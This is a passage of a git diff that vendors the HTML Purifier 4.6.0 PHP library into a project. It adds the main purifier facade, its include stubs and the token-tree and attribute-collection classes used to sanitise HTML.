+ $allowed_elements = array();
+ $allowed_attributes = array();
+ foreach ($allowed_html as $element => $attributes) {
+ $allowed_elements[$element] = true;
+ foreach ($attributes as $attribute => $x) {
+ $allowed_attributes["$element.$attribute"] = true;
+ }
+ }
+ $config->set('HTML.AllowedElements', $allowed_elements);
+ $config->set('HTML.AllowedAttributes', $allowed_attributes);
+ if ($allowed_protocols !== null) {
+ $config->set('URI.AllowedSchemes', $allowed_protocols);
+ }
+ $purifier = new HTMLPurifier($config);
+ return $purifier->purify($string);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php
new file mode 100644
index 000000000..39b1b6531
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.path.php
@@ -0,0 +1,11 @@
+<?php
+
+/**
+ * @file
+ * Convenience stub file that adds HTML Purifier's library file to the path
+ * without any other side-effects.
+ */
+
+set_include_path(dirname(__FILE__) . PATH_SEPARATOR . get_include_path() );
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.php
new file mode 100644
index 000000000..6f654fde5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.php
@@ -0,0 +1,292 @@
+<?php
+
+/*! @mainpage
+ *
+ * HTML Purifier is an HTML filter that will take an arbitrary snippet of
+ * HTML and rigorously test, validate and filter it into a version that
+ * is safe for output onto webpages. It achieves this by:
+ *
+ * -# Lexing (parsing into tokens) the document,
+ * -# Executing various strategies on the tokens:
+ * -# Removing all elements not in the whitelist,
+ * -# Making the tokens well-formed,
+ * -# Fixing the nesting of the nodes, and
+ * -# Validating attributes of the nodes; and
+ * -# Generating HTML from the purified tokens.
+ *
+ * However, most users will only need to interface with the HTMLPurifier
+ * and HTMLPurifier_Config.
+ */
+
+/*
+ HTML Purifier 4.6.0 - Standards Compliant HTML Filtering
+ Copyright (C) 2006-2008 Edward Z. Yang
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * Facade that coordinates HTML Purifier's subsystems in order to purify HTML.
+ *
+ * @note There are several points in which configuration can be specified
+ * for HTML Purifier. The precedence of these (from lowest to
+ * highest) is as follows:
+ * -# Instance: new HTMLPurifier($config)
+ * -# Invocation: purify($html, $config)
+ * These configurations are entirely independent of each other and
+ * are *not* merged (this behavior may change in the future).
+ *
+ * @todo We need an easier way to inject strategies using the configuration
+ * object.
+ */
+class HTMLPurifier
+{
+
+ /**
+ * Version of HTML Purifier.
+ * @type string
+ */
+ public $version = '4.6.0';
+
+ /**
+ * Constant with version of HTML Purifier.
+ */
+ const VERSION = '4.6.0';
+
+ /**
+ * Global configuration object.
+ * @type HTMLPurifier_Config
+ */
+ public $config;
+
+ /**
+ * Array of extra filter objects to run on HTML,
+ * for backwards compatibility.
+ * @type HTMLPurifier_Filter[]
+ */
+ private $filters = array();
+
+ /**
+ * Single instance of HTML Purifier.
+ * @type HTMLPurifier
+ */
+ private static $instance;
+
+ /**
+ * @type HTMLPurifier_Strategy_Core
+ */
+ protected $strategy;
+
+ /**
+ * @type HTMLPurifier_Generator
+ */
+ protected $generator;
+
+ /**
+ * Resultant context of last run purification.
+ * Is an array of contexts if the last called method was purifyArray().
+ * @type HTMLPurifier_Context
+ */
+ public $context;
+
+ /**
+ * Initializes the purifier.
+ *
+ * @param HTMLPurifier_Config $config Optional HTMLPurifier_Config object
+ * for all instances of the purifier, if omitted, a default
+ * configuration is supplied (which can be overridden on a
+ * per-use basis).
+ * The parameter can also be any type that
+ * HTMLPurifier_Config::create() supports.
+ */
+ public function __construct($config = null)
+ {
+ $this->config = HTMLPurifier_Config::create($config);
+ $this->strategy = new HTMLPurifier_Strategy_Core();
+ }
+
+ /**
+ * Adds a filter to process the output. First come first serve
+ *
+ * @param HTMLPurifier_Filter $filter HTMLPurifier_Filter object
+ */
+ public function addFilter($filter)
+ {
+ trigger_error(
+ 'HTMLPurifier->addFilter() is deprecated, use configuration directives' .
+ ' in the Filter namespace or Filter.Custom',
+ E_USER_WARNING
+ );
+ $this->filters[] = $filter;
+ }
+
+ /**
+ * Filters an HTML snippet/document to be XSS-free and standards-compliant.
+ *
+ * @param string $html String of HTML to purify
+ * @param HTMLPurifier_Config $config Config object for this operation,
+ * if omitted, defaults to the config object specified during this
+ * object's construction. The parameter can also be any type
+ * that HTMLPurifier_Config::create() supports.
+ *
+ * @return string Purified HTML
+ */
+ public function purify($html, $config = null)
+ {
+ // :TODO: make the config merge in, instead of replace
+ $config = $config ? HTMLPurifier_Config::create($config) : $this->config;
+
+ // implementation is partially environment dependant, partially
+ // configuration dependant
+ $lexer = HTMLPurifier_Lexer::create($config);
+
+ $context = new HTMLPurifier_Context();
+
+ // setup HTML generator
+ $this->generator = new HTMLPurifier_Generator($config, $context);
+ $context->register('Generator', $this->generator);
+
+ // set up global context variables
+ if ($config->get('Core.CollectErrors')) {
+ // may get moved out if other facilities use it
+ $language_factory = HTMLPurifier_LanguageFactory::instance();
+ $language = $language_factory->create($config, $context);
+ $context->register('Locale', $language);
+
+ $error_collector = new HTMLPurifier_ErrorCollector($context);
+ $context->register('ErrorCollector', $error_collector);
+ }
+
+ // setup id_accumulator context, necessary due to the fact that
+ // AttrValidator can be called from many places
+ $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context);
+ $context->register('IDAccumulator', $id_accumulator);
+
+ $html = HTMLPurifier_Encoder::convertToUTF8($html, $config, $context);
+
+ // setup filters
+ $filter_flags = $config->getBatch('Filter');
+ $custom_filters = $filter_flags['Custom'];
+ unset($filter_flags['Custom']);
+ $filters = array();
+ foreach ($filter_flags as $filter => $flag) {
+ if (!$flag) {
+ continue;
+ }
+ if (strpos($filter, '.') !== false) {
+ continue;
+ }
+ $class = "HTMLPurifier_Filter_$filter";
+ $filters[] = new $class;
+ }
+ foreach ($custom_filters as $filter) {
+ // maybe "HTMLPurifier_Filter_$filter", but be consistent with AutoFormat
+ $filters[] = $filter;
+ }
+ $filters = array_merge($filters, $this->filters);
+ // maybe prepare(), but later
+
+ for ($i = 0, $filter_size = count($filters); $i < $filter_size; $i++) {
+ $html = $filters[$i]->preFilter($html, $config, $context);
+ }
+
+ // purified HTML
+ $html =
+ $this->generator->generateFromTokens(
+ // list of tokens
+ $this->strategy->execute(
+ // list of un-purified tokens
+ $lexer->tokenizeHTML(
+ // un-purified HTML
+ $html,
+ $config,
+ $context
+ ),
+ $config,
+ $context
+ )
+ );
+
+ for ($i = $filter_size - 1; $i >= 0; $i--) {
+ $html = $filters[$i]->postFilter($html, $config, $context);
+ }
+
+ $html = HTMLPurifier_Encoder::convertFromUTF8($html, $config, $context);
+ $this->context =& $context;
+ return $html;
+ }
+
+ /**
+ * Filters an array of HTML snippets
+ *
+ * @param string[] $array_of_html Array of html snippets
+ * @param HTMLPurifier_Config $config Optional config object for this operation.
+ * See HTMLPurifier::purify() for more details.
+ *
+ * @return string[] Array of purified HTML
+ */
+ public function purifyArray($array_of_html, $config = null)
+ {
+ $context_array = array();
+ foreach ($array_of_html as $key => $html) {
+ $array_of_html[$key] = $this->purify($html, $config);
+ $context_array[$key] = $this->context;
+ }
+ $this->context = $context_array;
+ return $array_of_html;
+ }
+
+ /**
+ * Singleton for enforcing just one HTML Purifier in your system
+ *
+ * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype
+ * HTMLPurifier instance to overload singleton with,
+ * or HTMLPurifier_Config instance to configure the
+ * generated version with.
+ *
+ * @return HTMLPurifier
+ */
+ public static function instance($prototype = null)
+ {
+ if (!self::$instance || $prototype) {
+ if ($prototype instanceof HTMLPurifier) {
+ self::$instance = $prototype;
+ } elseif ($prototype) {
+ self::$instance = new HTMLPurifier($prototype);
+ } else {
+ self::$instance = new HTMLPurifier();
+ }
+ }
+ return self::$instance;
+ }
+
+ /**
+ * Singleton for enforcing just one HTML Purifier in your system
+ *
+ * @param HTMLPurifier|HTMLPurifier_Config $prototype Optional prototype
+ * HTMLPurifier instance to overload singleton with,
+ * or HTMLPurifier_Config instance to configure the
+ * generated version with.
+ *
+ * @return HTMLPurifier
+ * @note Backwards compatibility, see instance()
+ */
+ public static function getInstance($prototype = null)
+ {
+ return HTMLPurifier::instance($prototype);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php
new file mode 100644
index 000000000..9dea6d1ed
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier.safe-includes.php
@@ -0,0 +1,223 @@
+<?php
+
+/**
+ * @file
+ * This file was auto-generated by generate-includes.php and includes all of
+ * the core files required by HTML Purifier. This is a convenience stub that
+ * includes all files using dirname(__FILE__) and require_once. PLEASE DO NOT
+ * EDIT THIS FILE, changes will be overwritten the next time the script is run.
+ *
+ * Changes to include_path are not necessary.
+ */
+
+$__dir = dirname(__FILE__);
+
+require_once $__dir . '/HTMLPurifier.php';
+require_once $__dir . '/HTMLPurifier/Arborize.php';
+require_once $__dir . '/HTMLPurifier/AttrCollections.php';
+require_once $__dir . '/HTMLPurifier/AttrDef.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform.php';
+require_once $__dir . '/HTMLPurifier/AttrTypes.php';
+require_once $__dir . '/HTMLPurifier/AttrValidator.php';
+require_once $__dir . '/HTMLPurifier/Bootstrap.php';
+require_once $__dir . '/HTMLPurifier/Definition.php';
+require_once $__dir . '/HTMLPurifier/CSSDefinition.php';
+require_once $__dir . '/HTMLPurifier/ChildDef.php';
+require_once $__dir . '/HTMLPurifier/Config.php';
+require_once $__dir . '/HTMLPurifier/ConfigSchema.php';
+require_once $__dir . '/HTMLPurifier/ContentSets.php';
+require_once $__dir . '/HTMLPurifier/Context.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCacheFactory.php';
+require_once $__dir . '/HTMLPurifier/Doctype.php';
+require_once $__dir . '/HTMLPurifier/DoctypeRegistry.php';
+require_once $__dir . '/HTMLPurifier/ElementDef.php';
+require_once $__dir . '/HTMLPurifier/Encoder.php';
+require_once $__dir . '/HTMLPurifier/EntityLookup.php';
+require_once $__dir . '/HTMLPurifier/EntityParser.php';
+require_once $__dir . '/HTMLPurifier/ErrorCollector.php';
+require_once $__dir . '/HTMLPurifier/ErrorStruct.php';
+require_once $__dir . '/HTMLPurifier/Exception.php';
+require_once $__dir . '/HTMLPurifier/Filter.php';
+require_once $__dir . '/HTMLPurifier/Generator.php';
+require_once $__dir . '/HTMLPurifier/HTMLDefinition.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule.php';
+require_once $__dir . '/HTMLPurifier/HTMLModuleManager.php';
+require_once $__dir . '/HTMLPurifier/IDAccumulator.php';
+require_once $__dir . '/HTMLPurifier/Injector.php';
+require_once $__dir . '/HTMLPurifier/Language.php';
+require_once $__dir . '/HTMLPurifier/LanguageFactory.php';
+require_once $__dir . '/HTMLPurifier/Length.php';
+require_once $__dir . '/HTMLPurifier/Lexer.php';
+require_once $__dir . '/HTMLPurifier/Node.php';
+require_once $__dir . '/HTMLPurifier/PercentEncoder.php';
+require_once $__dir . '/HTMLPurifier/PropertyList.php';
+require_once $__dir . '/HTMLPurifier/PropertyListIterator.php';
+require_once $__dir . '/HTMLPurifier/Queue.php';
+require_once $__dir . '/HTMLPurifier/Strategy.php';
+require_once $__dir . '/HTMLPurifier/StringHash.php';
+require_once $__dir . '/HTMLPurifier/StringHashParser.php';
+require_once $__dir . '/HTMLPurifier/TagTransform.php';
+require_once $__dir . '/HTMLPurifier/Token.php';
+require_once $__dir . '/HTMLPurifier/TokenFactory.php';
+require_once $__dir . '/HTMLPurifier/URI.php';
+require_once $__dir . '/HTMLPurifier/URIDefinition.php';
+require_once $__dir . '/HTMLPurifier/URIFilter.php';
+require_once $__dir . '/HTMLPurifier/URIParser.php';
+require_once $__dir . '/HTMLPurifier/URIScheme.php';
+require_once $__dir . '/HTMLPurifier/URISchemeRegistry.php';
+require_once $__dir . '/HTMLPurifier/UnitConverter.php';
+require_once $__dir . '/HTMLPurifier/VarParser.php';
+require_once $__dir . '/HTMLPurifier/VarParserException.php';
+require_once $__dir . '/HTMLPurifier/Zipper.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Clone.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Enum.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Integer.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Lang.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Switch.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/Text.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Number.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/AlphaValue.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Background.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/BackgroundPosition.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Border.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Color.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Composite.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Filter.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Font.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/FontFamily.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Ident.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ImportantDecorator.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Length.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/ListStyle.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Multiple.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/Percentage.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/TextDecoration.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/CSS/URI.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Bool.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Nmtokens.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Class.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Color.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/FrameTarget.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/ID.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Pixels.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/Length.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/LinkTypes.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/HTML/MultiLength.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI/Host.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv4.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI/IPv6.php';
+require_once $__dir . '/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Background.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/BdoDir.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/BgColor.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/BoolToCSS.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Border.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/EnumToCSS.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/ImgRequired.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/ImgSpace.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Input.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Lang.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Length.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Name.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/NameSync.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Nofollow.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/SafeEmbed.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/SafeObject.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/SafeParam.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/ScriptRequired.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/TargetBlank.php';
+require_once $__dir . '/HTMLPurifier/AttrTransform/Textarea.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Chameleon.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Custom.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Empty.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/List.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Required.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Optional.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/StrictBlockquote.php';
+require_once $__dir . '/HTMLPurifier/ChildDef/Table.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache/Null.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache/Serializer.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php';
+require_once $__dir . '/HTMLPurifier/DefinitionCache/Decorator/Memory.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Bdo.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/CommonAttributes.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Edit.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Forms.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Hypertext.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Iframe.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Image.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Legacy.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/List.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Name.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Nofollow.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Object.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Presentation.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Proprietary.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Ruby.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/SafeEmbed.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/SafeObject.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/SafeScripting.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Scripting.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/StyleAttribute.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tables.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Target.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/TargetBlank.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Text.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/XMLCommonAttributes.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Name.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Proprietary.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Strict.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/Transitional.php';
+require_once $__dir . '/HTMLPurifier/HTMLModule/Tidy/XHTML.php';
+require_once $__dir . '/HTMLPurifier/Injector/AutoParagraph.php';
+require_once $__dir . '/HTMLPurifier/Injector/DisplayLinkURI.php';
+require_once $__dir . '/HTMLPurifier/Injector/Linkify.php';
+require_once $__dir . '/HTMLPurifier/Injector/PurifierLinkify.php';
+require_once $__dir . '/HTMLPurifier/Injector/RemoveEmpty.php';
+require_once $__dir . '/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php';
+require_once $__dir . '/HTMLPurifier/Injector/SafeObject.php';
+require_once $__dir . '/HTMLPurifier/Lexer/DOMLex.php';
+require_once $__dir . '/HTMLPurifier/Lexer/DirectLex.php';
+require_once $__dir . '/HTMLPurifier/Node/Comment.php';
+require_once $__dir . '/HTMLPurifier/Node/Element.php';
+require_once $__dir . '/HTMLPurifier/Node/Text.php';
+require_once $__dir . '/HTMLPurifier/Strategy/Composite.php';
+require_once $__dir . '/HTMLPurifier/Strategy/Core.php';
+require_once $__dir . '/HTMLPurifier/Strategy/FixNesting.php';
+require_once $__dir . '/HTMLPurifier/Strategy/MakeWellFormed.php';
+require_once $__dir . '/HTMLPurifier/Strategy/RemoveForeignElements.php';
+require_once $__dir . '/HTMLPurifier/Strategy/ValidateAttributes.php';
+require_once $__dir . '/HTMLPurifier/TagTransform/Font.php';
+require_once $__dir . '/HTMLPurifier/TagTransform/Simple.php';
+require_once $__dir . '/HTMLPurifier/Token/Comment.php';
+require_once $__dir . '/HTMLPurifier/Token/Tag.php';
+require_once $__dir . '/HTMLPurifier/Token/Empty.php';
+require_once $__dir . '/HTMLPurifier/Token/End.php';
+require_once $__dir . '/HTMLPurifier/Token/Start.php';
+require_once $__dir . '/HTMLPurifier/Token/Text.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternal.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/DisableExternalResources.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/DisableResources.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/HostBlacklist.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/MakeAbsolute.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/Munge.php';
+require_once $__dir . '/HTMLPurifier/URIFilter/SafeIframe.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/data.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/file.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/ftp.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/http.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/https.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/mailto.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/news.php';
+require_once $__dir . '/HTMLPurifier/URIScheme/nntp.php';
+require_once $__dir . '/HTMLPurifier/VarParser/Flexible.php';
+require_once $__dir . '/HTMLPurifier/VarParser/Native.php';
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Arborize.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Arborize.php
new file mode 100644
index 000000000..9e6617be5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Arborize.php
@@ -0,0 +1,71 @@
+<?php
+
+/**
+ * Converts a stream of HTMLPurifier_Token into an HTMLPurifier_Node,
+ * and back again.
+ *
+ * @note This transformation is not an equivalence. We mutate the input
+ * token stream to make it so; see all [MUT] markers in code.
+ */
+class HTMLPurifier_Arborize
+{
+ public static function arborize($tokens, $config, $context) {
+ $definition = $config->getHTMLDefinition();
+ $parent = new HTMLPurifier_Token_Start($definition->info_parent);
+ $stack = array($parent->toNode());
+ foreach ($tokens as $token) {
+ $token->skip = null; // [MUT]
+ $token->carryover = null; // [MUT]
+ if ($token instanceof HTMLPurifier_Token_End) {
+ $token->start = null; // [MUT]
+ $r = array_pop($stack);
+ assert($r->name === $token->name);
+ assert(empty($token->attr));
+ $r->endCol = $token->col;
+ $r->endLine = $token->line;
+ $r->endArmor = $token->armor;
+ continue;
+ }
+ $node = $token->toNode();
+ $stack[count($stack)-1]->children[] = $node;
+ if ($token instanceof HTMLPurifier_Token_Start) {
+ $stack[] = $node;
+ }
+ }
+ assert(count($stack) == 1);
+ return $stack[0];
+ }
+
+ public static function flatten($node, $config, $context) {
+ $level = 0;
+ $nodes = array($level => new HTMLPurifier_Queue(array($node)));
+ $closingTokens = array();
+ $tokens = array();
+ do {
+ while (!$nodes[$level]->isEmpty()) {
+ $node = $nodes[$level]->shift(); // FIFO
+ list($start, $end) = $node->toTokenPair();
+ if ($level > 0) {
+ $tokens[] = $start;
+ }
+ if ($end !== NULL) {
+ $closingTokens[$level][] = $end;
+ }
+ if ($node instanceof HTMLPurifier_Node_Element) {
+ $level++;
+ $nodes[$level] = new HTMLPurifier_Queue();
+ foreach ($node->children as $childNode) {
+ $nodes[$level]->push($childNode);
+ }
+ }
+ }
+ $level--;
+ if ($level && isset($closingTokens[$level])) {
+ while ($token = array_pop($closingTokens[$level])) {
+ $tokens[] = $token;
+ }
+ }
+ } while ($level > 0);
+ return $tokens;
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php
new file mode 100644
index 000000000..4f6c2e39a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrCollections.php
@@ -0,0 +1,143 @@
+<?php
+
+/**
+ * Defines common attribute collections that modules reference
+ */
+
+class HTMLPurifier_AttrCollections
+{
+
+ /**
+ * Associative array of attribute collections, indexed by name.
+ * @type array
+ */
+ public $info = array();
+
+ /**
+ * Performs all expansions on internal data for use by other inclusions
+ * It also collects all attribute collection extensions from
+ * modules
+ * @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
+ * @param HTMLPurifier_HTMLModule[] $modules Hash array of HTMLPurifier_HTMLModule members
+ */
+ public function __construct($attr_types, $modules)
+ {
+ // load extensions from the modules
+ foreach ($modules as $module) {
+ foreach ($module->attr_collections as $coll_i => $coll) {
+ if (!isset($this->info[$coll_i])) {
+ $this->info[$coll_i] = array();
+ }
+ foreach ($coll as $attr_i => $attr) {
+ if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) {
+ // merge in includes
+ $this->info[$coll_i][$attr_i] = array_merge(
+ $this->info[$coll_i][$attr_i],
+ $attr
+ );
+ continue;
+ }
+ $this->info[$coll_i][$attr_i] = $attr;
+ }
+ }
+ }
+ // perform internal expansions and inclusions
+ foreach ($this->info as $name => $attr) {
+ // merge attribute collections that include others
+ $this->performInclusions($this->info[$name]);
+ // replace string identifiers with actual attribute objects
+ $this->expandIdentifiers($this->info[$name], $attr_types);
+ }
+ }
+
+ /**
+ * Takes a reference to an attribute associative array and performs
+ * all inclusions specified by the zero index.
+ * @param array &$attr Reference to attribute array
+ */
+ public function performInclusions(&$attr)
+ {
+ if (!isset($attr[0])) {
+ return;
+ }
+ $merge = $attr[0];
+ $seen = array(); // recursion guard
+ // loop through all the inclusions
+ for ($i = 0; isset($merge[$i]); $i++) {
+ if (isset($seen[$merge[$i]])) {
+ continue;
+ }
+ $seen[$merge[$i]] = true;
+ // foreach attribute of the inclusion, copy it over
+ if (!isset($this->info[$merge[$i]])) {
+ continue;
+ }
+ foreach ($this->info[$merge[$i]] as $key => $value) {
+ if (isset($attr[$key])) {
+ continue;
+ } // also catches more inclusions
+ $attr[$key] = $value;
+ }
+ if (isset($this->info[$merge[$i]][0])) {
+ // recursion
+ $merge = array_merge($merge, $this->info[$merge[$i]][0]);
+ }
+ }
+ unset($attr[0]);
+ }
+
+ /**
+ * Expands all string identifiers in an attribute array by replacing
+ * them with the appropriate values inside HTMLPurifier_AttrTypes
+ * @param array &$attr Reference to attribute array
+ * @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
+ */
+ public function expandIdentifiers(&$attr, $attr_types)
+ {
+ // because foreach will process new elements we add, make sure we
+ // skip duplicates
+ $processed = array();
+
+ foreach ($attr as $def_i => $def) {
+ // skip inclusions
+ if ($def_i === 0) {
+ continue;
+ }
+
+ if (isset($processed[$def_i])) {
+ continue;
+ }
+
+ // determine whether or not attribute is required
+ if ($required = (strpos($def_i, '*') !== false)) {
+ // rename the definition
+ unset($attr[$def_i]);
+ $def_i = trim($def_i, '*');
+ $attr[$def_i] = $def;
+ }
+
+ $processed[$def_i] = true;
+
+ // if we've already got a literal object, move on
+ if (is_object($def)) {
+ // preserve previous required
+ $attr[$def_i]->required = ($required || $attr[$def_i]->required);
+ continue;
+ }
+
+ if ($def === false) {
+ unset($attr[$def_i]);
+ continue;
+ }
+
+ if ($t = $attr_types->get($def)) {
+ $attr[$def_i] = $t;
+ $attr[$def_i]->required = $required;
+ } else {
+ unset($attr[$def_i]);
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef.php
